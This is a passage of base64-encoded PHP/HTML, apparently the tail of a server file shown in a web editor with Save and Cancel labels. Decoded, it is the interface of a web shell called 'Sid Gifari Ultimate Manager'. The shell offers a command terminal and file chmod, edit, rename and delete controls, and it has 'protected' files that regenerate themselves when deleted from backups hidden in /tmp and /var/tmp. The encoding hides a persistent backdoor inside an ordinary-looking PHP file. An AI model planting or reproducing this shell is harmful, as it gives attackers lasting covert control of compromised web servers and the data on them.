gICAgICAgICAgICdwaHAnID0+IFsnZmEtcGhwJywgJyM4OTkzYmUnXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnanMnID0+IFsnZmEtanMnLCAnI2Y3ZGYxZSddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdjc3MnID0+IFsnZmEtY3NzMycsICcjMTU3MmI2J10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2h0bWwnID0+IFsnZmEtaHRtbDUnLCAnI2UzNGYyNiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICd0eHQnID0+IFsnZmEtZmlsZS1hbHQnLCAnI2ZmZmZmZiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRpY29uc1skZXh0XSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaWNvbiA9ICRpY29uc1skZXh0XVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sb3IgPSAkaWNvbnNbJGV4dF1bMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPSJmaWxlLXJvdyA8Pz0gJGl0ZW1bJ3Byb3RlY3RlZCddID8gJ3Byb3RlY3RlZC1yb3cnIDogJycgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhYiA8Pz0gJGljb24gPz4iIHN0eWxlPSJjb2xvcjogPD89ICRjb2xvciA/PjsgbWFyZ2luLXJpZ2h0OiAxMHB4OyI+PC9pPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAocGF0aGluZm8oJGl0ZW1bJ25hbWUnXSwgUEFUSElORk9fRVhURU5TSU9OKSA9PT0gJ3BocCcgJiYgISRpdGVtWydwcm90ZWN0ZWQnXSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pID8+IiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiB3aGl0ZTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/PSBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGl0ZW1bJ3Byb3RlY3RlZCddKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OiAxMHB4OyBmb250LXNpemU6IDAuN2VtOyBiYWNrZ3JvdW5kOiB2YXIoLS13YXJuaW5nKTsgY29sb3I6IGJsYWNrOyBwYWRkaW5nOiAycHggNnB4OyBib3JkZXItcmFkaXVzOiAzcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBST1RFQ1RFRAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJjb2xvcjogIzg4ODsiPjw/PSBmb3JtYXRCeXRlcygkaXRlbVsnc2l6ZSddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBnYXA6IDVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2htb2RfZmlsZSIgdmFsdWU9Ijw/PSAkaXRlbVsnbmFtZSddID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjaG1vZCIgdmFsdWU9Ijw/PSAkaXRlbVsncGVybXMnXSA/PiIgc3R5bGU9IndpZHRoOiA2MHB4OyBwYWRkaW5nOiA1cHg7IGJhY2tncm91bmQ6IHJnYmEoMjU1LDI1NSwyNTUsMC4wNSk7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsMC4xKTsgYm9yZGVyLXJhZGl1czogNHB4OyBjb2xvcjogd2hpdGU7IiA8Pz0gJGl0ZW1bJ3Byb3RlY3RlZCddID8gJ3JlYWRvbmx5JyA6ICcnID8+PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJwYWRkaW5nOiA1cHggMTBweDsgYmFja2dyb3VuZDogcmdiYSgwLDI1NSwxMzYsMC4xKTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYWNjZW50KTsgYm9yZGVyLXJhZGl1czogNHB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgY3Vyc29yOiBwb2ludGVyOyIgPD89ICRpdGVtWydwcm90ZWN0ZWQnXSA/ICdkaXNhYmxlZCcgOiAnJyA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iY29sb3I6ICM4ODg7Ij48Pz0gZGF0ZSgnWS1tLWQgSDppJywgJGl0ZW1bJ21vZGlmaWVkJ10pID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpdGVtWydwcm90ZWN0ZWQnXSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aChDVVJSRU5UX1BBVEgpKSA/PiZlZGl0PTw/PSB1cmxlbmNvZGUoJGl0ZW1bJ25hbWUnXSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gc3R5bGU9InBhZGRpbmc6IDVweCAxMHB4OyBiYWNrZ3JvdW5kOiByZ2JhKDAsMjAwLDI1NSwwLjEpOyBib3JkZXI6IDFweCBzb2xpZCAjMDBjOGZmOyBib3JkZXItcmFkaXVzOiA0cHg7IGNvbG9yOiAjMDBjOGZmOyBjdXJzb3I6IHBvaW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWRpdAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBnYXA6IDVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZCIgdmFsdWU9Ijw/PSAkaXRlbVsnbmFtZSddID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3IiBwbGFjZWhvbGRlcj0iTmV3IG5hbWUiIHN0eWxlPSJ3aWR0aDogMTAwcHg7IHBhZGRpbmc6IDVweDsgYmFja2dyb3VuZDogcmdiYSgyNTUsMjU1LDI1NSwwLjA1KTsgYm9yZGVyOiAxcHggc29saWQgcmdiYSgyNTUsMjU1LDI1NSwwLjEpOyBib3JkZXItcmFkaXVzOiA0cHg7IGNvbG9yOiB3aGl0ZTsiIDw/PSAkaXRlbVsncHJvdGVjdGVkJ10gPyAncmVhZG9ubHknIDogJycgPz4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJwYWRkaW5nOiA1cHggMTBweDsgYmFja2dyb3VuZDogcmdiYSgyNTUsMjAwLDAsMC4xKTsgYm9yZGVyOiAxcHggc29saWQgI2ZmYzgwMDsgYm9yZGVyLXJhZGl1czogNHB4OyBjb2xvcjogI2ZmYzgwMDsgY3Vyc29yOiBwb2ludGVyOyIgPD89ICRpdGVtWydwcm90ZWN0ZWQnXSA/ICdkaXNhYmxlZCcgOiAnJyA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmVuYW1lCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gY29uZmlybSgnPD89ICRpdGVtWydwcm90ZWN0ZWQnXSA/ICdUaGlzIGlzIGEgUFJPVEVDVEVEIGZpbGUhIEl0IHdpbGwgYXV0by1yZWdlbmVyYXRlLiBDb250aW51ZT8nIDogJ0RlbGV0ZSBmaWxlICcgLiBhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pIC4gJz8nID8+Jyk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkZWxldGUiIHZhbHVlPSI8Pz0gJGl0ZW1bJ25hbWUnXSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJwYWRkaW5nOiA1cHggMTBweDsgYmFja2dyb3VuZDogcmdiYSgyNTUsNzEsODcsMC4xKTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tZGFuZ2VyKTsgYm9yZGVyLXJhZGl1czogNHB4OyBjb2xvcjogdmFyKC0tZGFuZ2VyKTsgY3Vyc29yOiBwb2ludGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERlbGV0ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KCiAgICAgICAgPCEtLSBGb290ZXIgLS0+CiAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIj4KICAgICAgICAgICAgPHA+PHN0cm9uZz5TaWQgR2lmYXJpIFVsdGltYXRlIE1hbmFnZXIgdjguMiDigKIgQXV0by1SZWdlbmVyYXRpb24gQWN0aXZlPC9zdHJvbmc+PC9wPgogICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luLXRvcDogMTBweDsgZm9udC1zaXplOiAwLjhlbTsgY29sb3I6ICM4ODg7Ij4KICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtaW5mby1jaXJjbGUiPjwvaT4gUHJvdGVjdGVkIGZpbGVzIGF1dG8tcmVnZW5lcmF0ZSB3aGVuIGRlbGV0ZWQ8YnI+CiAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXNoaWVsZC1hbHQiPjwvaT4gQmFja3VwcyBzdG9yZWQgaW46IC90bXAvLCAvdmFyL3RtcC8sIC9wcm9jL3NlbGYvcm9vdC90bXAvCiAgICAgICAgICAgIDwvcD4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDxzY3JpcHQ+CiAgICAgICAgLy8gQXV0by1yZWdlbmVyYXRpb24gY2hlY2sKICAgICAgICBzZXRJbnRlcnZhbCgoKSA9PiB7CiAgICAgICAgICAgIGZldGNoKHdpbmRvdy5sb2NhdGlvbi5ocmVmKQogICAgICAgICAgICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKQogICAgICAgICAgICAgICAgLnRoZW4odGV4dCA9PiB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCF0ZXh0LmluY2x1ZGVzKCdTaWQgR2lmYXJpIFVsdGltYXRlIE1hbmFnZXInKSkgewogICAgICAgICAgICAgICAgICAgICAgICBsb2NhdGlvbi5yZWxvYWQoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICB9LCAzMDAwMCk7CgogICAgICAgIC8vIFRlcm1pbmFsIGhpc3RvcnkKICAgICAgICBsZXQgY29tbWFuZEhpc3RvcnkgPSBbXTsKICAgICAgICBsZXQgaGlzdG9yeUluZGV4ID0gLTE7CiAgICAgICAgCiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvcignaW5wdXRbbmFtZT0idGVybWluYWwtdGV4dCJdJykuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgaWYgKGUua2V5ID09PSAnQXJyb3dVcCcpIHsKICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5SW5kZXggPCBjb21tYW5kSGlzdG9yeS5sZW5ndGggLSAxKSB7CiAgICAgICAgICAgICAgICAgICAgaGlzdG9yeUluZGV4Kys7CiAgICAgICAgICAgICAgICAgICAgdGhpcy52YWx1ZSA9IGNvbW1hbmRIaXN0b3J5W2hpc3RvcnlJbmRleF07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSBpZiAoZS5rZXkgPT09ICdBcnJvd0Rvd24nKSB7CiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICBpZiAoaGlzdG9yeUluZGV4ID4gMCkgewogICAgICAgICAgICAgICAgICAgIGhpc3RvcnlJbmRleC0tOwogICAgICAgICAgICAgICAgICAgIHRoaXMudmFsdWUgPSBjb21tYW5kSGlzdG9yeVtoaXN0b3J5SW5kZXhdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBoaXN0b3J5SW5kZXggPSAtMTsKICAgICAgICAgICAgICAgICAgICB0aGlzLnZhbHVlID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSBpZiAoZS5rZXkgPT09ICdFbnRlcicpIHsKICAgICAgICAgICAgICAgIGlmICh0aGlzLnZhbHVlLnRyaW0oKSkgewogICAgICAgICAgICAgICAgICAgIGNvbW1hbmRIaXN0b3J5LnVuc2hpZnQodGhpcy52YWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgaGlzdG9yeUluZGV4ID0gLTE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9KTsKICAgIDwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4=")); ?>
💾 Save
❌ Cancel